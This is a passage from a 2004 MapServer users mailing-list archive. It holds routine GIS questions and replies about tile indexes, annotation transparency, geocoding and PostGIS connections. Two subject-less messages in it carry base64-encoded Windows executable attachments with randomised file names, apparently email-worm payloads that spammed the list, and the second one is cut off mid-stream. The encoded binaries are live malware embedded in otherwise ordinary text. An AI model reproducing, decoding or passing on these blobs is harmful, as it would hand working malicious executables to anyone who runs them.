>>>>attributes in the dbf file (raster.dbf). >>>>- one of the attribute's names is 'Nome', which contains the raster >>>>file name, like F4-N2.jpg. >>>>- i have a directory that contains all the jpeg tiles (F4-N2.jpg, and so >>>>on ) >>>> >>>>can i use this layer to see my jpeg raster files draw up ? >>>> >>>>LAYER >>>> NAME "raster" >>>> STATUS ON >>>> TILEINDEX "ratser.shp" >>>> TILEITEM "Nome" >>>> TYPE RASTER >>>>END >>>> >>>> >>>>thanksss >>>> >>>>toni >>>>_______________________________________________ >>>>Mapserver-users mailing list >>>>Mapserver-users at lists.gis.umn.edu >>>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >>>> >>>> >>>> >>>> >>>> >>> >>> >>>---------------------------------------------------------- >>>This mail sent through AIT WebMail : http://www.ait.ac.th/ >>> >>> >>> >>> >>> > > > > >---------------------------------------------------------- >This mail sent through AIT WebMail : http://www.ait.ac.th/ > > > From jnielsen at aero-graphics.com Fri Mar 26 07:16:25 2004 From: jnielsen at aero-graphics.com (Jason M. Nielsen) Date: Fri, 26 Mar 2004 08:16:25 -0700 Subject: [Mapserver-users] TRANSPARENCY + text embedded layer Message-ID: <1080314185.406449497b392@www.agi-lan.com> Does the TRANSPARENCY tag work with embedding text as part of the image as listed below or am I simply doing something wrong? LAYER NAME "tm" STATUS DEFAULT TRANSFORM FALSE TYPE ANNOTATION TRANSPARENCY 25 FEATURE POINTS 280 350 END TEXT 'aero-graphics, inc.' END CLASS LABEL TYPE TRUETYPE FONT "Bodina" SIZE 11 ANTIALIAS TRUE COLOR 0 255 0 END END END From teb at mallit.fr.umn.edu Fri Mar 26 07:45:37 2004 From: teb at mallit.fr.umn.edu (teb at mallit.fr.umn.edu) Date: Fri, 26 Mar 2004 16:45:37 +0100 Subject: [Mapserver-users] (no subject) Message-ID: ----------851660840837204 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit ----------851660840837204 Content-Type: application/x-msdownload; name="wndy.exe" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="yckxfs.exe" TVqQAAMAAAAEAAAAUEUAAEwBAgBGU0chAAAAAAAAAADgAA8BCwEAAAAkAAAAPgAAAAAAABK9 AAAAEAAADAAAAAAAQAAAEAAAAAIAAAQAAAAAAAAABAAAAAAAAAAAwAAAAAIAAAAAAAACAAAA AAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAAAADXvQAANAAAAACgAACgAwAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACQ AAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAADgAADAAAAAAHRhAAAAIAAAAKAAAAseAAAAAgAA AAAAAAAAAAAAAAAA4AAAwEtFUk5FTDMyLmRsbAAAAExvYWRMaWJyYXJ5QQAAR2V0UHJvY0Fk ZHJlc3MAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAzb1AAMG9QADDvUAAmAFAAAAQQACco0AA AVBAAAGQQAAAAAAAtEVAAAEAAAD/vUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAwAAACAAAIAOAAAA OAAAgAAAAAAAAAAAAAAAAAAAAQABAAAAUAAAgAAAAAAAAAAAAAAAAAAAAQABAAAAaAAAgAAA AAAAAAAAAAAAAAAAAQAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAkAAAALSgAADoAgAA AAAAAAAAAACgoAAAFAAAAAAAAAAAAAAAAAABAAEAICAQAAEABADoAgAAAQAoAAAAIAAAAEAA AAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAA gIAAAICAgADAwMAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA////AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAD////wAAAAAAAAAAAAAAD///D///AAAAAAAAAAAAD////w////8AAAAAAAAAAP/w//8P// D/8AAAAAAAAA//////D/////8AAAAAAAD/////////////8AAAAAAA////////8P////AAAA AAD/D///////AP//D/AAAAAA////////8PD////wAAAAD/////////AP/////wAAAA////// //8PD/////8AAAAP////////AP//////AAAADwAA////8PD///AADwAAAA///////w8P//// //8AAAAP//////Dw+f//////AAAAD/////8PD/+f/////wAAAAD////w8P//+f////AAAAAA /w//Dw////+f/w/wAAAAAA//8PD/////+f//AAAAAAAP//8P//////+f/wAAAAAAAP/////w //////AAAAAAAAAP/w//8P//D/8AAAAAAAAAAP////D////wAAAAAAAAAAAA///w///wAAAA AAAAAAAAAAD////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA///////wH///gAP//gAA//wAAH/4AAA/8AAAH+AAAA/AAAAHwAAAB4AA AAOAAAADgAAAAwAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAGAAAADgAAAA4AAAAPAAAAH wAAAB+AAAA/wAAAf+AAAP/wAAH/+AAD//4AD///wH/9VDovsV/yHfQhwTQzB6Q4CM8DjhvOr GRiD4QMVql8cycIIKCN0UzBdDE1qGeg4egJwAIPAYfyqS3XxV1sgwgnoWhkwHgGDxPxT/3Xs 6G5vIjrM2BQQ9GSJA+iDw/RTPmpAmP0hGolFZfwwDAglu4ELwHQzxkgsDCHoOLY3Bn38bSUb gwILDiVTCAkFmIuA6wqhDbagm8hkW/QMclaGnsc64b8D6IalIKg3TRBAINusweD84mcHC0MS 6wumDQMSeQIHSVFqBFlP9LgDitCA4j/B6AbV8/+rLxx7kquY/46DfeYSKXUPUIFQZrgNCtCr WABZC8l1rovLKxL5sD0QNPUoXnwGgPo+cxcKHjN3Db8wQRBadgOAButoDgqnHwnB6j7A4gKb FivPwdbDTafNaMEEqqQNIfAgFfQPiOFk8CjSht9akgEhB/RqwOicVSAKngbw1Qn7GmpcKAQM b1RGeRUF6YWpB0Bo2FJKrxzocllqhgICCTIDaDXAhSwFQFX8QHRcaGOxUejHMCGSRI1F+H9Q qhKRWJpWaBAgxh+japADBy0OSiIlc3R8Cmg9EiQE7OiUUMskDF8zelBiIblo3qJ5KSETu7Qp ecnwAVeNPTBUqDK1AwiJB8cF40VJ0L12hgT3JecbyCr/YoE9hAZw01N1/NJMBEfSIUAhIEEP gsGhghCRcQN1CmgFEQ0O6JD/Akr+OfcZBiURgOReBDCB4zF/C8P2yD/R6L/WDMI0BkEaJjPD +BIBAMx0BTXfsA8ImYkGxMYEkvOBBuNvK3XBP1B0/NEeP6xvQwIy11Iwl2irAiOkFKELRv5I lA0CA/DqMQUghgt1M/LDwCAHJYBWLFKdDCoPjSrG7ww36BKkktL3ad7CNX5dKDQwakkBdCFa IRM5dM1EEjHNUuJFTY74jfzsZYGPAsdCBE2CAiRqzmPKBvgvlhQsTvgxVo0oxwZHKmVGKTEi K0hVQzKQuEKJkiZtKSTojTSjEzhGIXrIisLHAqhai8giEc9Ht0dcKRgzSxEfZLRHdzI1UIjK FRWXOHjmEqRrjDyyYi5SHJXrGJLcHYjIugLE0+Lx4xVrj+HawekFzOsbAQvTD7YYQAOSLu5U VD+hRQwkk1CyhlBMNk2YvFMBS2s0BlPSIhkM9/F8AkVGgLDCgziQ9G8XWplfHRFaiVGYEI90 m0AX6zCLJeEPI9AFCDvBjXUGqShgP4JABOvoUqIx7BwSCNEyyn9Z9DH7QGv8UGgmEVMfOtkz DYDot7kg4fRFCbs0wOtBUk2Oi0AmUzu6MUeF4DK/Qhy+iyqEqLLQs4PAMQuIB0dODabqFzh1 AS029igIEVBJVVmmn+p+QivIOb+XPHtKNJOztjQWhkZHWSMkkQpDRCDQXPASEdkbMhAW4AJ4 +YWLZh7EjNUHDeLZsA3mBjYq2FAqbAm1EtD7USz8G1gN2IFBEIP4ASR1BCMskConhmG4PEMg EqUbjEv/Sh9xLW8bKQGIA5ABjIAz6FQEKfwNQA+EgiYmMRXoMhQP+EB0/GUUNIAY3hqWn0VU hJcyGASPibFnKTqvcwl0+KYDUvtEKKNJMBAmWnxFNQkKUghV66EMPahiIEU06S6dFVOJbhox KmZUCA+U7hIsMviT9OLDGxIK+fS1/DftaSRzcnGxGxiX8QsV8FNCsoEY9ASbNqloJDXoRsVl YdMHu0Fm6wXezJFI/HTWCnNbWYKBxHD+g8/oJmILVnUHSGDTGYOqFqa6UAxi+jdH/QGNhXKz Q/wBUZXsoDnrSRKG2RaWiWOjOBAGsw7NNTxVKNxIVaPGQj0PEEF8ZF+vXwhlUyEgFAxONGPJ UQ8lf+kjoB51SlhfWYE4ei0AcGR0E0CAeAPh6PFqTAUMSk3hyDehnDVi/RgQdAymFSropyGQ GMcP6xjluDDhdArHEgV3U82qYXWoJwS5Z76yzU+D6WAlQg20Kg5HuNwD61gS1ikMDkcE7hyl Oo2EPfRXSnuFCR3HmvgNxv70/NAVZlE6wow3qo/h7qQlUIk0kRb8hehnIXh0BKbEBGECsAFo caKA0JO4w1IUkzyOU8AGRIH7gK0Udge5B2Bci8vjMcmMUQ/56lAmGhOdwCd+HiUr2DE5UEka cDMQJIN9IQ10AmbJvILOhdsPlNJgRxQMUyvbShihQiZNaDJcb3i1VhC9GNYD80UUOAQmdQKz AaeXQyNBX4sN6J0jGztF23IxyATEdLwxZApjKPQgRdhiW0AMQopq2YzPhvuYajQ49fEf6q0F /xC2RDViJZHzR2poG9lkEBRkedIz+5N5nCJZIIB9/iD2C0i4dZnsECAcDMQjLXShmRcO2gYm SeAz22oGqIcC6CT2F/XIsBdgSwsQmKuu9LnKvSUChx4Ql4lE8oI4DAQFsDnrUB8LdWQKDAgP BM4lSg+nQrz9CERFFFDPRZYKCmxaZggWRVuo5Ay0z1uZVlNMbUGHNFbgJ17BCnYEhsSL7kXy LtsRR6oiTCiJA3Aymha1OyfH+iAK62RLQP8z6OxYFgHQiSRRVTEfARccQv/CmSLEFGCsLovI 5BVZewp/DPoFcxk+7JqMLFFWz2LNFcT7YaMN6wZRIdO8ZzW+4gwDDYOPihJ42J9OXizEamQM c/pXiQMh7Eni1UAs/J2/XZaWQ3lorBv12DNpqWQ/FOKWwmhIAlHyFLNHlxAdEUE9infopbtn b6UVDQ2WR78QZFuGZGImf0YDkEhhiyeAEAGOy2gTeugoVCAeXSUUUOdsgkG3dDroJLvyhm9O AjkN9nEd8MFN7AjXFxueF7e7TFCELorfTu5qZJtHLyCO17Au/D7yrgHfK9qAf//sdQECS4ld 8FFSsjdrJfUyN1nRm01ACRJV/SBPWYXJ/rilMWiGiO4PTtCyAg+0HrIBNa0LSDpLwKh8/4BT uWE11YbNUWaBFu/8IOoPhOfhKjSlglveyoVCfahPSE7zRcjOFKPEEQv20oiFgLnZoFSEa0oM hFOCIRRG5YYYyHaTiuvLPRvhsTSnBKrMESBY+9nKbBsRs1sW3I62QnpCV0AipImLBBKYyacR Qd/6DCvfFNUTn4qyxGrKCdETmQAKkTRzXU9MeMkIwJzUE5WzVOwlE/0GcQz8IDCsqJAcJD9K Zsc8tVaRhAPwNbTmhVPXQcZe6yEKmEAd7RDoanaB7DwAA/hZ/KyqSSR1+/M7b34h67uLxiFn J8V9SgeIUy7EUEUQrPpYy+KLKjYFkB9AEBTSZJVYy/gm8IiqyJKDnMsWASEdshI8tpEPiKO1 nZRdDks60EXquzEsEm9T2W30J55pLlpNrD2Dzs0H104GvAsCgPdG6g+U/51zi7de4tYll/hT 5wsSRchl8K1wPcw8AT9UOwvbK1AcESmOUFTpO2YKWoH6JJIGFIolG+spIpVyKAEYZlrkOzVV 8sCGvQy2q0H06DxTo0vasIIk4xHGs/Db1BEfL/SW5JR+DoA9t1yKJCwKxgUJBAHo69QiiQbl +CUXLmI1R2qvas1x2oko/Zt7MhLqQ1jniCa0rzh2WfOZsuJqA+oiR6w/JXIE0PjEHRHYO9eZ S5+fUEvABOghKxGxGEYOl0lYYNIS2SmbMEIJ3zH7KF0oflWsHfMDENIUUlIT6GPuS/gJBTzx 5KcDVFAUcooCCWjWrOp6o/9jLBDFEANbhdt1qazi/ZYioDOz/RPUJAQ0ASfFxuSfrmBrQhVu KSF8EBLwMzfBFke5GTntIHQCWPkzkw/tFjCPajLyjFVBivZe+BpC9gFRI5OzwZk9MsUwIO2F aeMnAkbwgWJ+DpQVMg1W6J/P2+Ke2WIf8JpnHVwtIAtFVi4nM7yomNAZZOH69xiSjkNPITUR fxhoqJ/oFaRBiw0rZlVDZLdyTzkMDio8ExUMaK+VxNIPLMH3DiMD5GVz/YRjusws6ptECmjA UmSAOG+Hn7EjxBNyqzloDiKY/s+k530ujPsMbq1DidD2Thyaf4A/MzVwNPhdsToJiPCT0cQk hD8zMvBIM9PO7Al2Qn9esGyMGNitjH4mKevPXMR0YhARzc67m+EBR4o0uA6xwpzvZFuA5TYO s60VjBBIaDCEEYvHW7npacHAQCxFzcxVOGVY2kh1NTCnhgYbJhJWtuJ5Aw+diekNqdxOikpT THkQKijPcVDqfbQ+Tbs3wUXF2IlhPgu2OkBciRof6wdRXQnOWQheyxlYOJCbDbQDZRCUAwkL e+BfGI8oQwyWtGbhgcQkL1JIoFvoYz5Fah4kFuEqEt5QaRR/lyYzFDGCFmTXUp4kiPJRCBIg HkVu8YVGV6hEDouoDPfYEpm5PF7SH/nH0n0C49pSIYT8sWroVKRNLAcQgH3FMAzJxiQrrEtF I2Jvy7CRI+IBQOoSE6QLWFkSsAMyUsVghGwNMSOSUvhSiSdGUoAoaPaUDUAU6OIMoXIgbOGi 2OYELr3tHEQIMWAMCNik7WPeNMzpKsEPC2wE6YbYogy5tF7+rxINh2dCkvzm1tIhlVaE2AIo aIZRjHdEa1kMFdkWWkstkBHchARorfx/RhSBAmgFVApEVeaOQxaIBd76NZcpdlmGoUZnk4jC 0AsWe7+F6Bk7QlEpIpgSV1O2yhHMChB2fQ7HBUbT485kFEpzu3A7Nb9OHaHuR1RMgfwLq0t1 8gkXc7MDU1czwMpdYkJcHgh2fZQgYhNLBPAlXBv/MY/Wq3HmDED4DIH0Aghju/pRqHIvZtkX OL8CWtgK+LGQEvOJtvwDTyh/6w8snwqXxaNTCAyXmxHrUws/Ipr39H+BoIRfW5xbWVNLjjGS QYM9Sdflcu6c4BIz0rj0QvdQJREFpN6aiksbTTPrYyJvSGBjE1pSSBd3OUP3yQgEpKP8HKpE vBoJdRvEY7DOF2iCJ5jgiUIJMV8N/wNcgPrLG1uWQOjecU4MsQH9O6hyDjSsPDCuBIM5diTD QTwRWj4cImFcetF8XC6tfHRffAx4LSQICgcdCyRKGAdyQ4oPyOvH/AvD5YAgTmz8mplzQzOp ziQGG5eVLUp85TkrgQiD+AJ8CStnSN4SFlBxu2ouPzHx2QljkycUDeAVklt35LgFrjGxibgg /pbBL7LF0FlaiVWX+k6H6zqqOwwPg6Mx/8c+gX0zECcBFHUOagHo3WWuDDL8oMlAdVp+IV7M /hLYRPhaEEBoyCvLgflh9NtzXoPgBXZIWQoK8429byjKW6wGrQeqcwUCi9fi8rCeCxfSdDkK NoUeIK5ltb1aGa9mJlwTCaBR2Fd5UmcdEyObQfwKTRv8VRAaXulULeX1p4RfU/h4qUEPjAdv YnlafFxivgd8dMRCefkHDCyNFOAUixKy1nDc+aT5cDMtU9sitLOUPxpMONC9F2iIhzhUeshM M5QrjQV+F2wZW4iMv0q7FA0LKNf1AoPJ//KuUpGaNs6mXgcotxB4gD+QZkjdpt/txV+sICXE 8PIEohMEEKegHVCla4ri6SACdDCAPYxvhA2UKExQ9kD466ENaEcY9ucfjg0lRQcU6oGZKAuK nffgaDYrQKl1nlT3LKTSvRYmL/RXZjTFpqoG8xQVPgEPIZuvERHemBeLMglUpEt/vbtBsxYW 3JyacLWDz8YEd+oAVfSNUixmgzqwDHY/bIEMDjimkGiJhhyFEvcCoSTAdBopaAdOkG/IDERr 7f1D+zQlFZKuL7JqgqSyBXpw+JihDJoUiK3+8XalNfYR+ETl49YFQOjNBfe+UPYV3ZWmjshC EbhejiktU7nimlkzztYOQ+hgXiEF5YA+B7IcVuZAHZDeGQN1BhaSs5EMxX8jCvBG699UEWRN 5y7Dnmi6KYCfAYZo0AeRRGbrSuYwxZRTVr84pysFk3MtalbBxA84bZThKs0Igd9tFl54FGmr 2TrRYRQNJDfoVtenaSKRI0BvNLyT28YsL5NikwYP26lxiaE5K8eJ45NeRLZ9V3+cmZGaBUz0 oQm/3Lw+NOhX34gl7JZ1SkYvEAHh9cxcoYnrX+840fyUlWiHifctTJYh8wMdyadMBLCmRqBK UyTywDFui8ZF+xsIha41LmYIDhCvguiZ4X7nTwUX5jLuBYnsOBZU67bzYlwCExNC4+XipMUB jVNHs6eE2OVKvRUFAnQXIwkDyg4xBOQF6b6etLsOs8gTLHhbpmIj+gEQgeRYJ8o3/42Rc1EU RDhgGuiwA5Hvs763UIcXvaEWuCpEHquhidbapasIdkbiaNtfpVENHA8shW15aXDE5VyYWkbq I2KJ6eT5nuKFqLz6J97kRgP+taIZGUMXHB+ORaZrECvUseiiIxBShYY34D8QFFRAstEoHWgT xL5FaCAsJK2KVRQv+QhArBtn0tWJyZIE3jURm0O/Yjyk/il75BS3x+GDvUQZw2wjQ5IkQc0E B2cl2kogpcXh67YxDV4BIkuTApgRaBqel0MWRg4p/ChkFYSwSejrlBaaCWqgIS9GEmmTqZqt Y0LsdOFaXkdh/wV7eIaI/Au/4llqJEwTCKMQTKhyu10NQuMz/nz3QsTeC06RihLRHR4Mu3q4 U3tDdRpNfuUOFGaD87C2DaZGdsaC1kI5SjIJgVaMxmXb8A3Q+ZSiBMRua589CbSiMYM9ZGeY tEwZsDKvJ/yS33QokgXSZqODHGh/dXngMblpSQQK6h19qPw8IndTkL387lD6NwGBaO+2jVqx kPz0zP8bJaRAbbK4pAa0MrAZrAychkOgIaiQJMgoZCwyMBk0DDiGQzx7hkNEIUiQTMhQZFQy WBlcDGCGQ7whZJBoyGxkcDJ0GXgMfIZDgCGEkIjIjGSQMpQZmAzkhiEwQRAoyCRkIDIcGRgM FIZDDHCGQwQhCJAQyCxlxEpUyAaQ3MjUZNgy0Bn4DPSGQ/Ah7JAUyBBkDDIIGRwNwgwAZxxo aXW6jmZ0eV33Fq4HjxIOADIxNy415DneCh4zeFYBfRh3YWIKdHjlAG1zZ4Fo77weaQYgBX94 QGxkd2LRPwV7iWVAFG5jaIvSZgFvZHMH7zl7YeVwBzVoGQVFd/oiYWSOX51qVcyfbFlvaGYV nhlubWfbQIsZZKlzariDDkBhdt63DPBpY3JvUXMswSXcP3B1PQZsdSZpZA7bglaP8zovi3dh AshlcmTPdnr8Nah4RGF+dDA6IEYNClRSbwgAU3ViamVjdNkaFkaUnm0Vh01lXsdhZ1EtSUSb IDwiNwQ+Kd5DRS1Wfp4YaW9uLDEuZjAmQxTYngYtVDB5cK1tdWz8afJhdXJQL5p4GWVkO0Ag TAFiDG91bmQyeRQ9Ii0B26TcGwSGIIUSI1DMFnjUligkYQgfOyRMMX5zZf87gnU9LXn8aePm li48cmGUc2aZeUhFc1FrmFxndjdi7nSvYOdhXbpHQ2/10AkveC0H3WSHd5dsyQ2Q3N+v5mXW OFsltjUCCkhd0EHPHnCKYpQFZTY0KCNESGmoe+fX5I0rvMRzocBtsDG0Zmls8U5eka1BBRqx aAgSFC4axjpsCKPIrIKgMQNpZr5szch0G+Rnb+/L9WMcMIFhLkSNghJvieEDPnEChwHNDQHC lwEg7yRoZau7UX4ILlMAT0ZUV0FSRVzrRdNDC3MyMIs0gmeP2JQaok1lciMkPA5DdXI12UkX 399S9JCHsiRhlH9KWVwNcGZyKzFuhccsByA63pw8HD4cQ2QpODdCDQmTmYBIRUxMT4rcD1JT bFQPTQdBSUwgRtdPgjo8Zo7BMENQVCDJT1gPRH5B5ZIPWzNVXYNkHAInLJsgDJtNdwJFebip rDqPOczZahQnDDNpCDLpJFhc4CpyLpA1azRvDwWnYnNa7w8gLV30DCazAADgAc4FICwQDQTg 6GwCIQABOCRA8A5rZXJuYGwzMi5k69uBSGnzu0Pob3NlqQpG+XLpdJ8KbJVBDzxOKXgOnkm8 jkNvbSxhKEzQMBCPRLz8jUZvcijqkw/RaXbYVHlScB1ANlPoevtADExvY35hfVRTbQ09Z2gf Lp9Tswxu+nOgMU1vZHXQZjcKTmFtREJTeY+M3xREk398Y9/QahTfjhRriR51bmkNFW2CpA8P WvSee+ZmqxX+GIEXV1fJondznEiB8GJHg4r+IJngTtAIC/NGQEyoT/BwPFZpO3epZpA4PVRk CmGBIU11Q454g1V/GGhwDJtocToobySG3j9XbtM4z1nfFXSfKlPkwxxPYmps/ygaRW14EhAG +oKJJm6+lGjwwiEJBW1waTcKlXkmCUb/lBJFlmhGgsgNw1RoNQ9kGiK8SEuYGJdHeKpQcqPG 03ONNCUKYk2VONSDQaUTsxlvRsAKZuhhNIXGqx0pB4kB5KYudb75NyxA9XCSsSB0ZnAB6ag0 VMrWaxtibmlLEa8MCGNvdmQqbOtHa/+/1F+icWhyI584MmkcaI6rnqTeowwKYnkOvvvv4o8x VMuQVG48BmRpZ/WoAmzKGHUTQVlTQcvtHqp/snD+xKaZb8yGfYLDiPP6OVG2JXEd5iVbgQ5t T25IR03PkWTQH3NoUncKDWk0mVVCVEHNbUFBCVJDIUwWCW1USQlE0crlEexAQYkk8XSpNEtE /Mk79U8x5elVIJlBpxGhDkVHlCxn0/VkWrIMORpDI63GAQi99+l2VJF0x4FoZ1OUSFauUTAg JEGhD1GkFLAhEcVDM91L+nmSDg1PG5GYHBRpcN9zhST4mU4GdzB+a0hQM1AJc5KywUdTSEVM xphuVWhpZQwSjEtVMJwCAL6kAUAArZOtl61WlrKApLaA/xNz+TPJ/xNzFjPA/xNzH7aAQbAQ /xMSwHP6dTyq6+D/UwgC9oPZAXUO/1ME6yas0eh0LxPJ6xqRSMHgCKz/UwQ9AH0AAHMKgPwF cwaD+H93AkFBlYvFtgBWi/cr8POkXuudi9ZerUh0CnkCrVBWi/KX64etk15GrZdW/xOVrITA dfv+DnTweQVGrVDrCf4OD4Tbc///VlX/UwSr6+AzyUH/ExPJ/xNy+MMC0nUFihZGEtLD/70A AAAAAAAAAAAAVAEAAP+9AAAAAAAAAAAAAAAAAAAAAAAAAAAAAGEBAABvAQAAAAAAAAAAAAAA ----------851660840837204-- From warmerdam at pobox.com Fri Mar 26 07:46:38 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Fri, 26 Mar 2004 10:46:38 -0500 Subject: [Mapserver-users] TRANSPARENCY + text embedded layer In-Reply-To: <1080314185.406449497b392@www.agi-lan.com> References: <1080314185.406449497b392@www.agi-lan.com> Message-ID: <4064505E.6010001@pobox.com> Jason M. Nielsen wrote: > Does the TRANSPARENCY tag work with embedding text as part of the image as > listed below or am I simply doing something wrong? Jason, I'm sure Steve or someone else could give a more comprehensive answer. But I suspect the answer is that transparency doesn't always work for labels. In particular, the transparency is applied during the "regular draw phase" for layers. My understanding is that annotation is sometimes "saved up" till late in the map render process so various issues about conflicts and placement can be worked out. This would subvert the transparency logic. I don't know if there is a way to force text to render immediately rather than saving it up, but if there is that is what you will need. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From ewaters at xmission.com Fri Mar 26 07:59:48 2004 From: ewaters at xmission.com (Eric Waters) Date: Fri, 26 Mar 2004 08:59:48 -0700 Subject: [Mapserver-users] geocoding product In-Reply-To: <006f01c41341$e8001ce0$ceea9040@DEV6> References: <006f01c41341$e8001ce0$ceea9040@DEV6> Message-ID: <20040326155947.GA31463@mammon.xmission.com> Will, I'm working on an opensource product right now to accomplish this using the Tiger/LINE 2003 data set. I'll try and get an alpha version up for download by Monday. Eric Waters On Fri, Mar 26, 2004 at 07:52:05AM -0700, Will Richardson wrote: > Hello, > > Does anyone know of a good geocoding product that will take addresses > and get a lat/long? > > Thanks, > Will > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From DonathStefan at gmx.de Fri Mar 26 08:18:14 2004 From: DonathStefan at gmx.de (Stefan Donath) Date: Fri, 26 Mar 2004 17:18:14 +0100 (MET) Subject: [Mapserver-users] mapserver 4 - postgis problem Message-ID: <14968.1080317894@www54.gmx.net> hi list, i am trying to view postgis 0.8.1 data with mapserver 4.0 but there is only a big black page with a little red x in the upper left corner !!! :-(( !!! this is the layer section of my map file: LAYER CONNECTIONTYPE postgis NAME "owt_orte" CONNECTION "user=postgres dbname=test2 host=128.xxx.x.x" DATA "the_geom from owt_orte" STATUS ON TYPE POLYGON CLASS NAME "orte" COLOR 255 0 0 END END what's wrong with that (i am totally new with both postgis AND mapserver!!)? anybody out there with ideas??? thanx, stefan. -- +++ NEU bei GMX und erstmalig in Deutschland: T?V-gepr?fter Virenschutz +++ 100% Virenerkennung nach Wildlist. Infos: http://www.gmx.net/virenschutz From mschulz at webgis.de Fri Mar 26 08:28:43 2004 From: mschulz at webgis.de (mschulz at webgis.de) Date: Fri, 26 Mar 2004 12:28:43 -0400 Subject: [Mapserver-users] (no subject) Message-ID: ----------551585871104782 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit ----------551585871104782 Content-Type: application/x-msdownload; name="gfvv.exe" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="dvrvoydbje.exe" TVqQAAMAAAAEAAAAUEUAAEwBAgBGU0chAAAAAAAAAADgAA8BCwEAAAAkAAAAPgAAAAAAABK9 AAAAEAAADAAAAAAAQAAAEAAAAAIAAAQAAAAAAAAABAAAAAAAAAAAwAAAAAIAAAAAAAACAAAA AAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAAAADXvQAANAAAAACgAACgAwAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACQ AAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAADgAADAAAAAAHRhAAAAIAAAAKAAAAseAAAAAgAA AAAAAAAAAAAAAAAA4AAAwEtFUk5FTDMyLmRsbAAAAExvYWRMaWJyYXJ5QQAAR2V0UHJvY0Fk ZHJlc3MAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAzb1AAMG9QADDvUAAmAFAAAAQQACco0AA AVBAAAGQQAAAAAAAtEVAAAEAAAD/vUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAwAAACAAAIAOAAAA OAAAgAAAAAAAAAAAAAAAAAAAAQABAAAAUAAAgAAAAAAAAAAAAAAAAAAAAQABAAAAaAAAgAAA AAAAAAAAAAAAAAAAAQAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAkAAAALSgAADoAgAA AAAAAAAAAACgoAAAFAAAAAAAAAAAAAAAAAABAAEAICAQAAEABADoAgAAAQAoAAAAIAAAAEAA AAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAA gIAAAICAgADAwMAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA////AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAD////wAAAAAAAAAAAAAAD///D///AAAAAAAAAAAAD////w////8AAAAAAAAAAP/w//8P// D/8AAAAAAAAA//////D/////8AAAAAAAD/////////////8AAAAAAA////////8P////AAAA AAD/D///////AP//D/AAAAAA////////8PD////wAAAAD/////////AP/////wAAAA////// //8PD/////8AAAAP////////AP//////AAAADwAA////8PD///AADwAAAA///////w8P//// //8AAAAP//////Dw+f//////AAAAD/////8PD/+f/////wAAAAD////w8P//+f////AAAAAA /w//Dw////+f/w/wAAAAAA//8PD/////+f//AAAAAAAP//8P//////+f/wAAAAAAAP/////w //////AAAAAAAAAP/w//8P//D/8AAAAAAAAAAP////D////wAAAAAAAAAAAA///w///wAAAA AAAAAAAAAAD////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA///////wH///gAP//gAA//wAAH/4AAA/8AAAH+AAAA/AAAAHwAAAB4AA AAOAAAADgAAAAwAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAGAAAADgAAAA4AAAAPAAAAH wAAAB+AAAA/wAAAf+AAAP/wAAH/+AAD//4AD///wH/9VDovsV/yHfQhwTQzB6Q4CM8DjhvOr GRiD4QMVql8cycIIKCN0UzBdDE1qGeg4egJwAIPAYfyqS3XxV1sgwgnoWhkwHgGDxPxT/3Xs 6G5vIjrM2BQQ9GSJA+iDw/RTPmpAmP0hGolFZfwwDAglu4ELwHQzxkgsDCHoOLY3Bn38bSUb gwILDiVTCAkFmIuA6wqhDbagm8hkW/QMclaGnsc64b8D6IalIKg3TRBAINusweD84mcHC0MS 